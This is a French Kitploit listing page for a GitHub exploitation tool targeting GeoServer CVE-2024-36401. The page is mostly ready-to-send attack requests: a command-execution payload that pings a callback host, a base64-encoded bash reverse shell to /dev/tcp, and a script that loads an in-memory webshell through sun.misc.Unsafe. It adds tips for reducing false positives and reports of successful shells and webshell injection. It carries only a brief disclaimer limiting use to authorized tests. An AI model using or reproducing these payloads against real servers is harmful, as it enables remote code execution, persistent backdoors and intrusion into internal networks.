Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
geoserver- — geoserver CVE-2024-36401 outil d'exploitation de vulnérabilité | Kitploit
Outils/GitHubGitHub/ahisec/geoserver-
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionCommandement et ContrôleDéveloppement de Charges Utiles
GitHubahisec/geoserver-

geoserver-

geoserver CVE-2024-36401 outil d'exploitation de vulnérabilité

Voir le dépôt
4681il y a 2 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

geoserver CVE-2024-36401 Outil d'exploitation de vulnérabilité

Environnement geoserver CVE-2024-36401 : JDK8
Déclaration : réservé aux tests autorisés. L'auteur n'est pas responsable des conséquences d'une mauvaise utilisation par les utilisateurs. Veuillez respecter les lois et règlements !

1, payload par défaut :

root@kitploit:~
POST /geoserver/wfs HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: close
Host: xxxx
Accept-Language: en-US;q=0.9,en;q=0.8
Cache-Control: max-age=0
Content-Type: application/xml
Content-Length: 356

<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:topp='http://www.openplans.org/topp'
xmlns:fes='http://www.opengis.net/fes/2.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'>
  <wfs:Query typeNames='sf:archsites'/>
  <wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'ping wsn9.callback.red')</wfs:valueReference>
</wfs:GetPropertyValue>

Alors faites attention ici : <wfs:Query typeNames='sf:archsites'/>

À cet endroit, si vous devez l’obtenir par expression régulière, il s’agit d’un identifiant de base du site sf:archsites. Vous devez d’abord récupérer ses informations

Télécharger l’outil

<wfs:ReturnFeatureType>(.*?)</wfs:ReturnFeatureType>, puis vous pouvez procéder par concaténation.

Lors de la détection de vulnérabilité
<wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'ping wsn9.callback.red')</wfs:valueReference>

À cet endroit, il n’est en fait même pas nécessaire de consulter les enregistrements DNS.
La logique simple consiste à détecter la présence d’une classe anormale,
comme java.lang.ClassCastException.

Bien sûr, ce n’est que la logique de détection.

Ce retour est normalement 400, il est facile de tomber dans le piège ici. Vous devez juger de la page d’erreur, puis chercher les données.

Vous devez d’abord demander un
<wfs:ListStoredQueries service='WFS'\n" + " version='2.0.0'\n" + " xmlns:wfs='http://www.opengis.net/wfs/2.0'/>

Cette information signifie que vous pouvez obtenir son <wfs:ReturnFeatureType>(.*?)</wfs:ReturnFeatureType>.
Ensuite, affectez-le directement au texte, puis appelez une fonction pour extraire l’information du texte et la concaténer au paramètre <wfs:Query typeNames='sf:archsites'/>.

Ainsi, la logique de détection sera relativement précise. Il suffit d’écrire la classe de détection de cette manière.

Si vous utilisez toujours <wfs:Query typeNames='sf:archsites'/>, le taux de faux positifs est élevé, car le système indiquera qu’il ne trouve pas sf:archsites.

Classe de reverse shell

Voyons le payload de reverse shell :

root@kitploit:~
POST /geoserver/wfs HTTP/1.1
Host: xxxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Cookie: JSESSIONID=5D030E92A0AFCC3B5006597E6524FD8D
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
Content-Type: application/xml
Content-Length: 438

<wfs:GetPropertyValue service='WFS' version='2.0.0'
 xmlns:topp='http://www.openplans.org/topp'
 xmlns:fes='http://www.opengis.net/fes/2.0'
 xmlns:wfs='http://www.opengis.net/wfs/2.0'>
  <wfs:Query typeNames='sf:archsites'/>
  <wfs:valueReference>exec(java.lang.Runtime.getRuntime(),'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}')</wfs:valueReference>
</wfs:GetPropertyValue>

Faites attention ici :
<wfs:Query typeNames='sf:archsites'/>

De même, il faut d’abord récupérer la valeur par expression régulière, puis la concaténer.

Ensuite, envoyez directement la requête.

YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvOTk5OSAwPiYx est le base64 chiffré.

Lors de l’écriture, convertissez simplement la commande entrée par l’utilisateur bash -i >& /dev/tcp/127.0.0.1/9999 0>&1 en base64.

Envoyez ensuite la requête, puis cherchez la classe d’exception clé pour juger de la logique.

Injection de webshell en mémoire

À cet endroit :

root@kitploit:~
POST /geoserver/wfs HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: close
Host: xxx
Accept-Language: en-US;q=0.9,en;q=0.8
Cache-Control: max-age=0
Content-Type: application/xml
Content-Length: 20383

<wfs:GetPropertyValue service='WFS' version='2.0.0'
 xmlns:topp='http://www.openplans.org/topp'
 xmlns:fes='http://www.opengis.net/fes/2.0'
 xmlns:wfs='http://www.opengis.net/wfs/2.0'>
  <wfs:Query typeNames='sf:archsites'/>
  <wfs:valueReference>eval(getEngineByName(javax.script.ScriptEngineManager.new(),'js'),'
var str="";
var bt;
try {
    bt = java.lang.Class.forName("sun.misc.BASE64Decoder").newInstance().decodeBuffer(str);
} catch (e) {
    bt = java.util.Base64.getDecoder().decode(str);
}
var theUnsafe = java.lang.Class.forName("sun.misc.Unsafe").getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
unsafe = theUnsafe.get(null);
unsafe.defineAnonymousClass(java.lang.Class.forName("java.lang.Class"), bt, null).newInstance();
')</wfs:valueReference>
</wfs:GetPropertyValue>

Ici encore, il y a <wfs:Query typeNames='sf:archsites'/>, comme d’habitude, il faut d’abord récupérer la valeur.

À l’endroit var str="" ; mettez le code de votre webshell en mémoire encodé en base64.

Ensuite, jugez la logique.

Points faciles à piéger

  1. L’utilisation répétée de <wfs:Query typeNames='sf:archsites'/> entraîne un taux de faux positifs de 98%. Exemple d’erreur :

    root@kitploit:~
    https://geoserver.epic.blue/geoserver/schemas/ows/1.1.0/owsAll.xsd">
    <ows:Exception exceptionCode="InvalidParameterValue" locator="typeName">
    <ows:ExceptionText>Could not locate {http://www.openplans.org/spearfish}archsites in catalog.<
    

    Point vulnérable présent :

    root@kitploit:~
    <ows:Exception exceptionCode="NoApplicableCode">
    <ows:ExceptionText>java.lang.ClassCastException: class java.lang.ProcessImpl cannot be cast to class org.opengis.feature.type.AttributeDescriptor (java.lang.ProcessImpl is in module java.base of loader &amp;apos;bootstrap&amp;apos;; org.opengis.feature.type.AttributeDescriptor is in unnamed module of loader org.apache.catalina.loader.ParallelWebappClassLoader @4b9df8a)
    class java.lang.ProcessImpl cannot be cast to class org.opengis.feature.type.AttributeDescriptor (java.lang.ProcessImpl is in module java.base of loader &amp;apos;bootstrap&amp;apos;; org.opengis.feature.type.AttributeDescriptor is in unnamed module of loader org.apache.catalina.loader.ParallelWebappClassLoader @4b9df8a)</ows:ExceptionText>
    </ows:Exception>
    

    En résumé, la présence de la vulnérabilité se manifeste par java.lang.ClassCastException.
    Le faux positif est : Could not locate {http://www.openplans.org/spearfish}archsites in catalog.

  2. Méthode de détection :
    Capturez le wfs:ReturnFeatureType appelé, affectez-le au texte → le texte appelle une fonction → requête, concaténation dans la requête, détection de l’exception dans le retour.
    Pour l’appel de la fonction à partir du texte, il faut lui donner une valeur à l’avance pour éviter une exception de pointeur nul. Concaténez avant la requête, puis détectez l’exception dans le retour ; c’est à l’intérieur de l’exception qu’on effectue la détection.

Finalement, nous avons implémenté cet outil d’exploitation de vulnérabilité.

image

Testons la vulnérabilité.

Effet d’exécution de l’outil :

image

image

Astuce : L’absence de retour et « vulnérabilité non présente » sont identiques. Si la vulnérabilité existe, un signe « + » s’affiche.

Détection de la vulnérabilité, reverse shell vers le shell, test de connexion. Si la connexion réussit, effectuez un test de réseau interne.

Optimisation : ajout éventuel de webshell en mémoire personnalisé, détection par lots, etc.

image

La vulnérabilité a été détectée, le point de terminaison a été obtenu, et le reverse shell a réussi.

Maintenant, essayons d’injecter un webshell en mémoire.

image

L’injection du webshell semble réussie. Connectons-nous pour vérifier.

image

La connexion est possible.

Astuce : Test de webshell en mémoire. Cette instance GeoServer fonctionne en version 2.15.2. Pour plus d’informations, veuillez contacter l’administrateur.
L’injection du webshell a réussi sur cette version.
Les versions plus récentes peuvent échouer.
Testez vous-même les autres.

image

Ajout de la fonctionnalité de webshell en mémoire personnalisé.

image

Journal des modifications

Ajout de tests ls et ping.
Correction du problème d’injection de webshell en mémoire.
Ajout de la reconnaissance Tomcat et Jetty.
Le webshell Godzilla utilise par défaut l’environnement Jetty pour l’injection.
Le webshell en mémoire personnalisé peut choisir l’environnement Tomcat pour les tests.
La version batch n’a pas encore été publiée.